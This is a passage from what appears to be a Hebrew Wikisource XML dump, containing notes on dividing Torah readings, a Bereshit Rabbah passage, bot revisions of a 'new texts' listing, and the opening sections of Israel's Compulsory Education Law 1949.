החלוקה במהדורתנו לשלושה עולים במשך השבוע (מנחה בשבת, שני וחמישי) מבוססת על '''סדר עבודת ישראל''' לר' יצחק (זליגמן) בער, רעדעלהיים תרכ&quot;ח, מתוך מהדורת צילום של הוצאת שוקן תרצ&quot;ז.{{הערה|ראו שם עמ' 451-494, &quot;סדר הפרשיות למנחה בשבת ולשני וחמישי לתעניות ולחה&quot;מ וחנוכה ופורים&quot;. חטיבת הקריאה הזאת צולמה בתוך '''סדור רנת ישראל''', מהדורה שניה (הוצאת מורשת: ירושלים תשל&quot;ד), עמ' 447-485. מהדורת צילום אחר של &quot;סדר עבודת ישראל&quot; לזליגמן בער נמצאת '''[[:COMMONS:File:Avodat-Yisrael-Baer-1901-1.pdf|כאן]]''' ו'''[[:COMMONS:File:Avodat-Yisrael-Baer-1901-2.pdf|כאן]]'''.}} הציון לתחילת הקריאה ל&quot;לוי&quot; ול&quot;ישראל&quot; מופיע בסוגריים מרובעים, וסוף הקריאה ל&quot;ישראל&quot; הוא בדרך כלל לפני עליית &quot;שני&quot; בשבת.{{הערה|במקומות חריגים שבהם עליית &quot;ראשון&quot; ארוכה ולא נהוג שישראל ביום חול יקרא עד סופה (בפרשות &quot;בראשית&quot;, &quot;כי תשא&quot;, &quot;נשא&quot;), צוין &quot;[ע&quot;כ ישראל]&quot; בסוף הקריאה לעולה השלישי. וכן במקומות שנהוג להמשיך לקרוא אחרי סוף עליית &quot;שני&quot;, צוין בסוף העלייה השלישית &quot;[ע&quot;כ ישראל]&quot; (בפרשות &quot;בחקתי&quot;, &quot;דברים&quot;, &quot;ואתחנן&quot;', &quot;כי תבוא&quot;, &quot;נצבים&quot;, &quot;וילך&quot;, &quot;האזינו&quot;, &quot;וזאת הברכה&quot;).}}

לא הוספנו סימון לקריאת התורה במועדים בתוך מהדורת המקרא בוויקיטקסט. סימון כזה יוצר מעמסה כבדה בשוליים של הטקסט, ולא נהוג לסמן אותו &quot;בפנים&quot; במהדורות של המקרא, אלא רק בנספחים. במקום זה יצרנו מדור מיוחד בשם '''[[מקראי מועד|&quot;מִקְרָאֵי מוֹעֵד&quot;]]''', שם תופיע קריאת התורה לכל המועדים לפי החלוקה הנפוצה במחזורים (וגם הפטרות). תוכן הקריאות במדור &quot;מִקְרָאֵי מוֹעֵד&quot; מבוסס על &quot;מקרא על פי המסורה&quot;.

==הערות==
&lt;references/&gt;

[[en:User:Dovi/Miqra according to the Masorah/Introduction/Chapter 3]]</text>
      <sha1>l77wkhhaqcyzz0hbf9t58zrk581iz5j</sha1>
    </revision>
  </page>
  <page>
    <title>בראשית רבה צז ה</title>
    <ns>0</ns>
    <id>268912</id>
    <revision>
      <id>3020694</id>
      <parentid>503292</parentid>
      <timestamp>2026-06-18T19:20:10Z</timestamp>
      <contributor>
        <username>Ori229</username>
        <id>476</id>
      </contributor>
      <comment>פיסוק עימוד</comment>
      <origin>3020694</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1577" sha1="nho4qhews3ere172k84ehu8kdhl8z7x" xml:space="preserve">{{סרגל ניווט|בראשית רבה|צז|ד|ה|ו|}}{{פמ|בראשית רבה|צז|ה}}

&quot;וַיְבָרֲכֵם בַּיּוֹם הַהוּא&quot; – כשם שקדמו כאן, כך קדמו בכ&quot;מ (בכל מקום):

קדמו בתולדות: &quot;אֵלֶּה תּוֹלְדוֹת בְּנֵי אֶפְרַיִם&quot;, ואח&quot;כ &quot;אֵלֶּה תּוֹלְדוֹת בְּנֵי מְנַשֶּׁה&quot;.

ביוחסין ([[במדבר א]]): &quot;לִבְנֵי אֶפְרַיִם תּוֹלְדֹתָם לְמִשְׁפְּחֹתָם&quot; (קדמו למנשה).

קדמו בנחלה ([[יהושע טז]]): &quot;זֹאת נַחֲלַת בְּנֵי אֶפְרַיִם&quot;, ואח&quot;כ &quot;זֹאת נַחֲלַת בְּנֵי מְנַשֶּׁה&quot;.

קדמו בדגלים ([[במדבר ב]]): &quot;דֶּגֶל מַחֲנֵה אֶפְרַיִם&quot;, ואחר כך &quot;וְעָלָיו מַטֵּה מְנַשֶּׁה&quot;.

קדמו בנשיאים ([[במדבר ז]]): &quot;בַּיּוֹם הַשְּׁבִיעִי נָשִׂיא לִבְנֵי אֶפְרַיִם&quot;, ואח&quot;כ (שם) &quot;בַּיּוֹם הַשְּׁמִינִי נָשִׂיא לִבְנֵי מְנַשֶּׁה&quot;.

קדמו בשופטים: יהושע משל אפרים, וגדעון משל מנשה.

קדמו במלכים: ירבעם משל אפרים, ויהוא משל מנשה.

קדמו בברכה: &quot;בְּךָ יְבָרֵךְ יִשְׂרָאֵל לֵאמֹר יְשִׂימְךָ אֱלֹהִים כְּאֶפְרַיִם וְכִמְנַשֶּׁה&quot;.

קדמו בברכה: &quot;וַיָּשֶׂם אֶת אֶפְרַיִם לִפְנֵי מְנַשֶּׁה&quot;.</text>
      <sha1>nho4qhews3ere172k84ehu8kdhl8z7x</sha1>
    </revision>
  </page>
  <page>
    <title>עמוד ראשי/טקסטים חדשים</title>
    <ns>0</ns>
    <id>276338</id>
    <revision>
      <id>3020710</id>
      <parentid>3020597</parentid>
      <timestamp>2026-06-18T21:00:31Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>טקסטים חדשים</comment>
      <origin>3020710</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2309" sha1="2nfzynfkq5qopkx5tjp5lb3mqjl3ndd" xml:space="preserve">{{מסגרת מעוצבת עליונה|כותרת={{צבע גופן|לבן|טקסטים חדשים}}|ערוך=|גבול=#99aaff|כותרת רקע=#009000|כותרת טקסט=white|רקע=white|טקסט=black}}&lt;div style=&quot;text-align: justify;&quot;&gt;
[[חוק הגבלת שכר טרחה (נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)]] {{*}}
[[חוק הכרה בתרומתם של כלבים ששירתו בגופים ביטחוניים]] {{*}}
[[חוק הכרה בשפת הסימנים הישראלית]] {{*}}
[[חוק סיוע לבני משפחה של נעדרים]] {{*}}
[[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)]] &lt;!-- בוט שורה ראשונה --&gt; {{*}}
[[צו הבנקאות (שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)]] &lt;!-- בוט שורה שנייה --&gt; {{*}}
[[צו הבנקאות (שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)]] &lt;!-- בוט שורה שלישית --&gt; {{*}}
[[גדר עולם]] {{*}}
[[:קטגוריה:פיוטי שמחת תורה|פיוטי שמחת תורה]] {{*}}
[[:קטגוריה:אקרוסטיכון אלפביתי|פיוטים לפי א&quot;ב]] {{*}}
[[:קטגוריה:פיוטי הושענות|פיוטי הושענות]] {{*}}
[[משנה מנוקדת ללא עיצוב/סדר נשים]] {{*}}
[[הסליחות לכל השנה - זליגמן בער/סליחות ליום חמישי|סליחות זליגמן בער - ליום שישי]] {{*}}
[[אלדד הדני]] {{*}}
[[גליל כורש]] {{*}}
[[פרי מגדים על אורח חיים רנב|פמ&quot;ג או&quot;ח רנב]] {{*}} 
[[רש&quot;י מנוקד על המקרא/ספר יהושע|רש&quot;י מנוקד על יהושע]] {{*}} 
[[ספר הפיות הכחול]] בשלמותו 
&lt;/div&gt;
{{מסגרת מעוצבת תחתונה}}&lt;noinclude&gt;
[[קטגוריה:טקסטים חדשים|*]]&lt;/noinclude&gt;</text>
      <sha1>2nfzynfkq5qopkx5tjp5lb3mqjl3ndd</sha1>
    </revision>
    <revision>
      <id>3020720</id>
      <parentid>3020710</parentid>
      <timestamp>2026-06-19T03:00:35Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>טקסטים חדשים</comment>
      <origin>3020720</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2387" sha1="iblx0qkxqxb2z8s9me7jrkwcqfeksnf" xml:space="preserve">{{מסגרת מעוצבת עליונה|כותרת={{צבע גופן|לבן|טקסטים חדשים}}|ערוך=|גבול=#99aaff|כותרת רקע=#009000|כותרת טקסט=white|רקע=white|טקסט=black}}&lt;div style=&quot;text-align: justify;&quot;&gt;
[[חוק ועדות הכנסת (ועדת העבודה והרווחה)]] {{*}}
[[חוק הגבלת שכר טרחה (נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)]] {{*}}
[[חוק הכרה בתרומתם של כלבים ששירתו בגופים ביטחוניים]] {{*}}
[[חוק הכרה בשפת הסימנים הישראלית]] {{*}}
[[חוק סיוע לבני משפחה של נעדרים]] {{*}}
[[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)]] &lt;!-- בוט שורה ראשונה --&gt; {{*}}
[[צו הבנקאות (שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)]] &lt;!-- בוט שורה שנייה --&gt; {{*}}
[[צו הבנקאות (שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)]] &lt;!-- בוט שורה שלישית --&gt; {{*}}
[[גדר עולם]] {{*}}
[[:קטגוריה:פיוטי שמחת תורה|פיוטי שמחת תורה]] {{*}}
[[:קטגוריה:אקרוסטיכון אלפביתי|פיוטים לפי א&quot;ב]] {{*}}
[[:קטגוריה:פיוטי הושענות|פיוטי הושענות]] {{*}}
[[משנה מנוקדת ללא עיצוב/סדר נשים]] {{*}}
[[הסליחות לכל השנה - זליגמן בער/סליחות ליום חמישי|סליחות זליגמן בער - ליום שישי]] {{*}}
[[אלדד הדני]] {{*}}
[[גליל כורש]] {{*}}
[[פרי מגדים על אורח חיים רנב|פמ&quot;ג או&quot;ח רנב]] {{*}} 
[[רש&quot;י מנוקד על המקרא/ספר יהושע|רש&quot;י מנוקד על יהושע]] {{*}} 
[[ספר הפיות הכחול]] בשלמותו 
&lt;/div&gt;
{{מסגרת מעוצבת תחתונה}}&lt;noinclude&gt;
[[קטגוריה:טקסטים חדשים|*]]&lt;/noinclude&gt;</text>
      <sha1>iblx0qkxqxb2z8s9me7jrkwcqfeksnf</sha1>
    </revision>
    <revision>
      <id>3020740</id>
      <parentid>3020720</parentid>
      <timestamp>2026-06-19T09:00:39Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>טקסטים חדשים</comment>
      <origin>3020740</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2444" sha1="mp9e4apmqpxoyx70ibswh7df4q3wvyp" xml:space="preserve">{{מסגרת מעוצבת עליונה|כותרת={{צבע גופן|לבן|טקסטים חדשים}}|ערוך=|גבול=#99aaff|כותרת רקע=#009000|כותרת טקסט=white|רקע=white|טקסט=black}}&lt;div style=&quot;text-align: justify;&quot;&gt;
[[חוק שטרי-חסכון צמודי-דולר]] {{*}}
[[חוק ועדות הכנסת (ועדת העבודה והרווחה)]] {{*}}
[[חוק הגבלת שכר טרחה (נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)]] {{*}}
[[חוק הכרה בתרומתם של כלבים ששירתו בגופים ביטחוניים]] {{*}}
[[חוק הכרה בשפת הסימנים הישראלית]] {{*}}
[[חוק סיוע לבני משפחה של נעדרים]] {{*}}
[[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)]] &lt;!-- בוט שורה ראשונה --&gt; {{*}}
[[צו הבנקאות (שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)]] &lt;!-- בוט שורה שנייה --&gt; {{*}}
[[צו הבנקאות (שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)]] &lt;!-- בוט שורה שלישית --&gt; {{*}}
[[גדר עולם]] {{*}}
[[:קטגוריה:פיוטי שמחת תורה|פיוטי שמחת תורה]] {{*}}
[[:קטגוריה:אקרוסטיכון אלפביתי|פיוטים לפי א&quot;ב]] {{*}}
[[:קטגוריה:פיוטי הושענות|פיוטי הושענות]] {{*}}
[[משנה מנוקדת ללא עיצוב/סדר נשים]] {{*}}
[[הסליחות לכל השנה - זליגמן בער/סליחות ליום חמישי|סליחות זליגמן בער - ליום שישי]] {{*}}
[[אלדד הדני]] {{*}}
[[גליל כורש]] {{*}}
[[פרי מגדים על אורח חיים רנב|פמ&quot;ג או&quot;ח רנב]] {{*}} 
[[רש&quot;י מנוקד על המקרא/ספר יהושע|רש&quot;י מנוקד על יהושע]] {{*}} 
[[ספר הפיות הכחול]] בשלמותו 
&lt;/div&gt;
{{מסגרת מעוצבת תחתונה}}&lt;noinclude&gt;
[[קטגוריה:טקסטים חדשים|*]]&lt;/noinclude&gt;</text>
      <sha1>mp9e4apmqpxoyx70ibswh7df4q3wvyp</sha1>
    </revision>
  </page>
  <page>
    <title>חוק לימוד חובה</title>
    <ns>0</ns>
    <id>279673</id>
    <revision>
      <id>3020670</id>
      <parentid>3005431</parentid>
      <timestamp>2026-06-18T17:01:15Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <minor />
      <comment>[3020664]</comment>
      <origin>3020670</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="60957" sha1="fpllky33p4hgnq38gyuw2dgzadt8ijq" xml:space="preserve">{{ח:התחלה}}
{{ח:כותרת|חוק לימוד חובה, תש״ט–1949}}

{{ח:פתיח-התחלה}}
{{ח:מאגר|2000752}} {{ח:תיבה|ס״ח תש״ט, 287|חוק לימוד חובה|https://fs.knesset.gov.il/1/law/1_lsr_203716.pdf}}; {{ח:תיבה|תש״י, 126|תיקון|https://fs.knesset.gov.il/1/law/1_lsr_208481.pdf}}, {{ח:תיבה|314|תיקון מס׳ 2|https://fs.knesset.gov.il/1/law/1_lsr_208482.pdf}}; {{ח:תיבה|תשי״ג, 106|הוראת שעה|https://fs.knesset.gov.il/2/law/2_lsr_208483.pdf}}, {{ח:תיבה|140|חוק חינוך ממלכתי|https://fs.knesset.gov.il/2/law/2_lsr_208355.pdf}}; {{ח:תיבה|תשי״ד, 2|הוראות שעה|https://fs.knesset.gov.il/2/law/2_lsr_208484.pdf}}, {{ח:תיבה|178|הוראות שעה (תיקון)|https://fs.knesset.gov.il/2/law/2_lsr_203724.pdf}}, {{ח:תיבה|VIII|ת״ט|https://fs.knesset.gov.il/2/law/2_lsr_ec_517958.pdf}}; {{ח:תיבה|תשכ״ט, 33|תיקון מס׳ 4|https://fs.knesset.gov.il/6/law/6_lsr_208485.pdf}}, {{ח:תיבה|176|תיקון מס׳ 5|https://fs.knesset.gov.il/6/law/6_lsr_208486.pdf}}, {{ח:תיבה|178|תיקון מס׳ 6|https://fs.knesset.gov.il/6/law/6_lsr_208487.pdf}}; {{ח:תיבה|תשל״א, 146|הוראת שעה|https://fs.knesset.gov.il/7/law/7_lsr_208488.pdf}}; {{ח:תיבה|תשל״ב, 102|תיקון מס׳ 8|https://fs.knesset.gov.il/7/law/7_lsr_208489.pdf}}, {{ח:תיבה|122|תיקון מס׳ 9|https://fs.knesset.gov.il/7/law/7_lsr_208490.pdf}}; {{ח:תיבה|תשל״ו, 99|תיקון מס׳ 10|https://fs.knesset.gov.il/8/law/8_lsr_208491.pdf}}; {{ח:תיבה|תשל״ח, 128|תיקון מס׳ 11|https://fs.knesset.gov.il/9/law/9_lsr_211857.pdf}}, {{ח:תיבה|144|תיקון מס׳ 12|https://fs.knesset.gov.il/9/law/9_lsr_208492.pdf}}, {{ח:תיבה|146|תיקון מס׳ 13|https://fs.knesset.gov.il/9/law/9_lsr_208493.pdf}}; {{ח:תיבה|תש״ם, 162|תיקון מס׳ 14|https://fs.knesset.gov.il/9/law/9_lsr_208494.pdf}}, {{ח:תיבה|162|תיקון מס׳ 11 (תיקון)|https://fs.knesset.gov.il/9/law/9_lsr_210205.pdf}}; {{ח:תיבה|תשמ״א, 65|תיקון מס׳ 15|https://fs.knesset.gov.il/9/law/9_lsr_208495.pdf}}; {{ח:תיבה|תשמ״ב, 273|תיקון מס׳ 11 (תיקון מס׳ 2)|https://fs.knesset.gov.il/10/law/10_lsr_208496.pdf}}; {{ח:תיבה|תשמ״ד, 160|תיקון מס׳ 16|https://fs.knesset.gov.il/10/law/10_lsr_210217.pdf}}; {{ח:תיבה|תשמ״ה, 7|תיקון מס׳ 11 (תיקון מס׳ 3)|https://fs.knesset.gov.il/11/law/11_lsr_210239.pdf}}, {{ח:תיבה|57|תיקון מס׳ 11 (תיקון מס׳ 4)|https://fs.knesset.gov.il/11/law/11_lsr_210408.pdf}}, {{ח:תיבה|112|תיקון מס׳ 16 (תיקון)|https://fs.knesset.gov.il/11/law/11_lsr_210414.pdf}}, {{ח:תיבה|164|תיקון מס׳ 11 (תיקון מס׳ 5)|https://fs.knesset.gov.il/11/law/11_lsr_210446.pdf}}; {{ח:תיבה|תשמ״ו, 245|תיקון מס׳ 11 (תיקון מס׳ 6)|https://fs.knesset.gov.il/11/law/11_lsr_210519.pdf}}; {{ח:תיבה|תשמ״ז, 105|חוק יציבות המשק (הוראות שונות)|https://fs.knesset.gov.il/11/law/11_lsr_210573.pdf}}; {{ח:תיבה|תשמ״ח, 72|חוק הסדרים במשק המדינה (תיקוני חקיקה להשגת יעדי התקציב)|https://fs.knesset.gov.il/11/law/11_lsr_210660.pdf}}, {{ח:תיבה|118|חוק חינוך מיוחד|https://fs.knesset.gov.il/11/law/11_lsr_211803.pdf}}; {{ח:תיבה|תש״ן, 134|חוק הסדרים במשק המדינה (תיקוני חקיקה)|https://fs.knesset.gov.il/12/law/12_lsr_210812.pdf}}; {{ח:תיבה|תשנ״א, 156|תיקון מס׳ 18|https://fs.knesset.gov.il/12/law/12_lsr_210847.pdf}}; {{ח:תיבה|תשנ״ב, 41|לחוק הסדרים במשק המדינה (תיקוני חקיקה) (מס׳ 2)|https://fs.knesset.gov.il/12/law/12_lsr_211668.pdf}}, {{ח:תיבה|79|תיקון מס׳ 19|https://fs.knesset.gov.il/12/law/12_lsr_210874.pdf}}; {{ח:תיבה|תשנ״ד, 50|חוק הסדרים במשק המדינה (תיקוני חקיקה להשגת יעדי התקציב)|https://fs.knesset.gov.il/13/law/13_lsr_211692.pdf}}, {{ח:תיבה|244|תיקון מס׳ 20|https://fs.knesset.gov.il/13/law/13_lsr_211134.pdf}}, {{ח:תיבה|245|תיקון מס׳ 21|https://fs.knesset.gov.il/13/law/13_lsr_203771.pdf}}; {{ח:תיבה|תשנ״ו, 163|חוק העובדים הסוציאליים|https://fs.knesset.gov.il/13/law/13_lsr_211734.pdf}}; {{ח:תיבה|תשנ״ח, 92|חוק להגברת הצמיחה והתעסוקה ולהשגת יעדי התקציב לשנת הכספים 1998 (תיקוני חקיקה)|https://fs.knesset.gov.il/14/law/14_lsr_211461.pdf}}; {{ח:תיבה|תשנ״ט, 65|תיקון מס׳ 16 (תיקון מס׳ 7)|https://fs.knesset.gov.il/14/law/14_lsr_211599.pdf}}; {{ח:תיבה|תשס״א, 42|חוק זכויות התלמיד|https://fs.knesset.gov.il/15/law/15_lsr_300380.pdf}}, {{ח:תיבה|401|ת״ט|https://olaw.org.il/laws/law-1792.pdf}}, {{ח:תיבה|517|תיקון מס׳ 23|https://fs.knesset.gov.il/15/law/15_lsr_300406.pdf}}; {{ח:תיבה|תשס״ב, 475|תיקון מס׳ 25|https://fs.knesset.gov.il/15/law/15_lsr_300516.pdf}}; {{ח:תיבה|תשס״ד, 313|תיקון מס׳ 26|https://fs.knesset.gov.il/16/law/16_lsr_299829.pdf}}, {{ח:תיבה|425|תיקון לחוק העובדים הסוציאליים|https://fs.knesset.gov.il/16/law/16_lsr_299841.pdf}}; {{ח:תיבה|תשס״ו, 127|תיקון מס׳ 27|https://fs.knesset.gov.il/16/law/16_lsr_299932.pdf}}; {{ח:תיבה|תשס״ז, 387|תיקון מס׳ 28|https://fs.knesset.gov.il/17/law/17_lsr_300633.pdf}}, {{ח:תיבה|392|תיקון מס׳ 29|https://fs.knesset.gov.il/17/law/17_lsr_300101.pdf}}; {{ח:תיבה|תשס״ח, 121|חוק ההסדרים במשק המדינה (תיקוני חקיקה להשגת יעדי התקציב והמדיניות הכלכלית לשנת הכספים 2008)|https://fs.knesset.gov.il/17/law/17_lsr_300816.pdf}}, {{ח:תיבה|200|תיקון מס׳ 2 לחוק הרשויות המקומיות (ייעוד כספי הקצבות למטרות חינוך)|https://fs.knesset.gov.il/17/law/17_lsr_300038.pdf}}, {{ח:תיבה|749|חוק מוסדות חינוך תרבותיים ייחודיים|https://fs.knesset.gov.il/17/law/17_lsr_300758.pdf}}; {{ח:תיבה|תשס״ט, 195, 196, 196|חוק ההתייעלות הכלכלית (תיקוני חקיקה ליישום התכנית הכלכלית לשנים 2009 ו־2010)|https://fs.knesset.gov.il/18/law/18_lsr_301061.pdf}}; {{ח:תיבה|תשע״א, 192|חוק המדיניות הכלכלית לשנים 2011 ו־2012 (תיקוני חקיקה)|https://fs.knesset.gov.il/18/law/18_lsr_301268.pdf}}; {{ח:תיבה|תשע״ג, 104|תיקון מס׳ 32|https://fs.knesset.gov.il/19/law/19_lsr_301532.pdf}}, {{ח:תיבה|116|חוק לשינוי סדרי עדיפויות לאומיים (תיקוני חקיקה להשגת יעדי התקציב לשנים 2013 ו־2014)|https://fs.knesset.gov.il/19/law/19_lsr_301574.pdf}}; {{ח:תיבה|תשע״ד, 331|תיקון מס׳ 16 (תיקון מס׳ 9)|https://fs.knesset.gov.il/19/law/19_lsr_301634.pdf}}; {{ח:תיבה|תשע״ו, 1083|חוק ביטוח תאונות אישיות לתלמידים (תיקוני חקיקה)|https://fs.knesset.gov.il/20/law/20_lsr_347840.pdf}}, {{ח:תיבה|1157|תיקון מס׳ 35|https://fs.knesset.gov.il/20/law/20_lsr_348523.pdf}}; {{ח:תיבה|תשע״ז, 317, 318|חוק ההתייעלות הכלכלית (תיקוני חקיקה להשגת יעדי התקציב לשנות התקציב 2017 ו־2018)|https://fs.knesset.gov.il/20/law/20_lsr_366872.pdf}}; {{ח:תיבה|תשפ״ה, 16|חוק איסור העסקת עובדי הוראה ושלילת תקציב ממוסדות חינוך עקב הזדהות עם מעשה טרור או עם ארגון טרור (תיקוני חקיקה)|https://fs.knesset.gov.il/25/law/25_lsr_5143049.pdf}}.
{{ח:סוגר}}
{{ח:מפריד}}

{{ח:קטע2||תוכן עניינים}}

&lt;div class=&quot;law-toc&quot;&gt;
&lt;div class=&quot;law-toc-2&quot;&gt;{{ח:פנימי|פרק 1|פרק ראשון: פירושים}}&lt;/div&gt;
&lt;div class=&quot;law-toc-2&quot;&gt;{{ח:פנימי|פרק 2|פרק שני: לימוד חובה}}&lt;/div&gt;
&lt;div class=&quot;law-toc-2&quot;&gt;{{ח:פנימי|פרק 3|פרק שלישי: לימוד חינם}}&lt;/div&gt;
&lt;div class=&quot;law-toc-2&quot;&gt;{{ח:פנימי|פרק 4|פרק רביעי: זכות הורים לבחור בזרם מוכר}}&lt;/div&gt;
&lt;div class=&quot;law-toc-2&quot;&gt;{{ח:פנימי|פרק 5|פרק חמישי: הוראות כלליות}}&lt;/div&gt;
&lt;div class=&quot;law-toc-2&quot;&gt;{{ח:פנימי|פרק 6|פרק ששי: ביצוע}}&lt;/div&gt;
&lt;/div&gt;

{{ח:קטע2|פרק 1|פרק ראשון: פירושים}}

{{ח:סעיף|1|פירושים|תיקון: תשי״ג־2, תשכ״ט־2, תשכ״ט־3, תשל״ח, תשמ״ד, תשס״ז־2}}
{{ח:ת}} בחוק זה –
{{ח:ת|סוג=הגדרה}} ”שר“ פירושו – שר החינוך והתרבות.
{{ח:ת|סוג=הגדרה}} ”רשות חינוך מקומית“ פירושה –
{{ח:תתת|(א)}} לגבי תחום שיפוטה של רשות מקומית – אותה רשות מקומית; אולם רשאי השר לקבוע בצו שפורסם ברשומות, כי אדם או חבר־בני־אדם, המקיימים מוסד חינוך לגילאי לימוד חובה בתחום מועצה אזורית, יהיו רשות חינוך מקומית נפרדת לגבי שטח המוסד שיוגדר בצו, אם ראה לעשות כן מטעמים מיוחדים, ולאחר שנתן למועצה האזורית הזדמנות לטעון טענותיה;
{{ח:תתת|(ב)}} לגבי מושב, קבוצה או קיבוץ – ועד המושב, או מזכירות הקבוצה או הקיבוץ, לפי הענין; ושטח המושב, הקבוצה או הקיבוץ הוא תחום השיפוט של הועדה או המזכירות, לפי הענין;
{{ח:תתת|(ג)}} לגבי שטח אחר – ועד שהוכר, או אדם שנתמנה, על ידי השר, בצו שפורסם ברשומות, כרשות חינוך מקומית בשטח שתואר בצו; ואותו שטח הוא תחום השיפוט של אותו ועד או של אותו אדם, לפי הענין.
{{ח:ת|סוג=הגדרה}} ”ילד“ פירושו – אדם שבראשית שנת הלימודים היה באחד הגילים מ־3 עד 13 ועד בכלל.
{{ח:ת|סוג=הגדרה}} ”נער“ פירושו – אדם שבראשית שנת הלימודים היה באחד הגילים מ־14 עד 17.
{{ח:ת|סוג=הגדרה}} ”הורים“ של ילד או של נער כוללים את אפוטרופסו של הילד או של הנער, וכל אדם שהילד או הנער נמצא ברשותו, בפיקוחו או בהשגחתו.
{{ח:ת|סוג=הגדרה}} ”נותן עבודה“ פירושו – אדם המעסיק ילד או נער בכל עבודה שהיא, בין בשכר ובין שלא בשכר.
{{ח:ת|סוג=הגדרה}} ”חינוך בגן־ילדים“ – פירושו חינוך הניתן בגן־ילדים, לרבות גן במעון ילדים, לילדים בגיל 3 עד 5 ועד בכלל.
{{ח:ת|סוג=הגדרה}} ”חינוך חובה“ פירושו – לימוד המיועד לילדים ולנערים והניתן בחמש עשרה שנות לימוד, מהן שלוש בגן ילדים בגיל 3 עד 5 ועד בכלל ושתים עשרה שנות לימוד, בכיתות א׳ עד י״ב, לילדים ולנערים.
{{ח:ת|סוג=הגדרה}} ”מוסד חינוך“ פירושו – מוסד ללימוד שיטתי לילדים או לנערים.
{{ח:ת|סוג=הגדרה}} ”מוסד חינוך לילדים“ פירושו – מוסד חינוך לחינוך חובה לילדים.
{{ח:ת|סוג=הגדרה}} ”מוסד חינוך לנערים“ – מוסד חינוך לחינוך חובה לנערים.
{{ח:ת|סוג=הגדרה}} ”מוסד חינוך לנערים עובדים“ – מוסד חינוך ללימודי ערב לנערים עובדים.
{{ח:ת|סוג=הגדרה}} ”מוסד חינוך רשמי“ פירושו – מוסד חינוך מוחזק על ידי המדינה, או על ידי רשות חינוך מקומית, או על ידי רשויות חינוך מקומיות אחדות במשותף, או על ידי המדינה ורשות חינוך מקומית, או על ידי המדינה ורשויות חינוך מקומיות אחדות במשותף, ואשר השר הכריז עליו, באכרזה שפורסמה ברשומות, שהוא מוסד חינוך רשמי לצורך חוק זה.
{{ח:ת|סוג=הגדרה}} ”מוסד חינוך מוכר“ פירושו –
{{ח:תתת|(א)}} כל מוסד חינוך רשמי;
{{ח:תתת|(ב)}} כל מוסד חינוך אחר שהשר הכריז עליו, באכרזה שפורסמה ברשומות, שהוא מוסד חינוך מוכר לצורך חוק זה.

{{ח:סעיף|1א|רשות חינוך מקומית – תאגיד|תיקון: תשכ״ט־3}}
{{ח:ת}} רשות חינוך מקומית שאיננה רשות מקומית תהיה תאגיד כשר לכל חובה, זכות ופעולה משפטית בתחום תפקידיה.

{{ח:קטע2|פרק 2|פרק שני: לימוד חובה}}

{{ח:סעיף|2|לימוד חובה לילדים ולנערים|תיקון: תשכ״ט־2, תשל״א, תשל״ו, תשל״ח, תשס״ז־2}}
{{ח:תת|(א)}} לימוד חובה יקיף כל ילד וכל נער.
{{ח:תת|(ב)}} {{ח:הערה|(בוטל).}}
{{ח:תת|(ג)}} {{ח:הערה|(בוטל).}}
{{ח:תת|(ד)}} ילד שלימוד חובה חל עליו נקרא בחוק זה ”ילד בגיל לימוד חובה“; ונער שלימוד חובה חל עליו נקרא בחוק זה ”נער בגיל לימוד חובה“.

{{ח:סעיף|2א|חניכות כלימוד חובה|תיקון: תשכ״ט־2, תשס״ז־2}}
{{ח:תת|(א)}} חניכות של נער החל בגיל 15 על פי {{ח:חיצוני|חוק החניכות|חוק החניכות, תשי״ג–1953}}, בתנאים שייקבעו בתקנות שיותקנו על ידי השר בהסכמת שר התעשיה המסחר והתעסוקה ובאישור ועדת החינוך והתרבות של הכנסת – תיחשב כלימוד חובה לענין חוק זה.
{{ח:תת|(ב)}} השר יקבע בהסכמת שר התעשיה המסחר והתעסוקה תכנית חובה של לימודים עיוניים לחניכות כאמור בסעיף קטן (א).
{{ח:תת|(ג)}} תכנית הלימודים העיוניים לפי סעיף קטן (ב) תהיה ממלכתית או ממלכתית דתית, ותכנית ממלכתית דתית תיקבע לאחר התייעצות במועצה לחינוך ממלכתי דתי שהוקמה לפי {{ח:חיצוני|חוק חינוך ממלכתי#סעיף 13|סעיף 13 לחוק חינוך ממלכתי, תשי״ג–1953}}.

{{ח:סעיף|3|חובת רישום|תיקון: תשי״ג־2, תשכ״ט־2, תשל״א, תשל״ו, תשל״ח, תשס״ז־2, תשע״ו־2}}
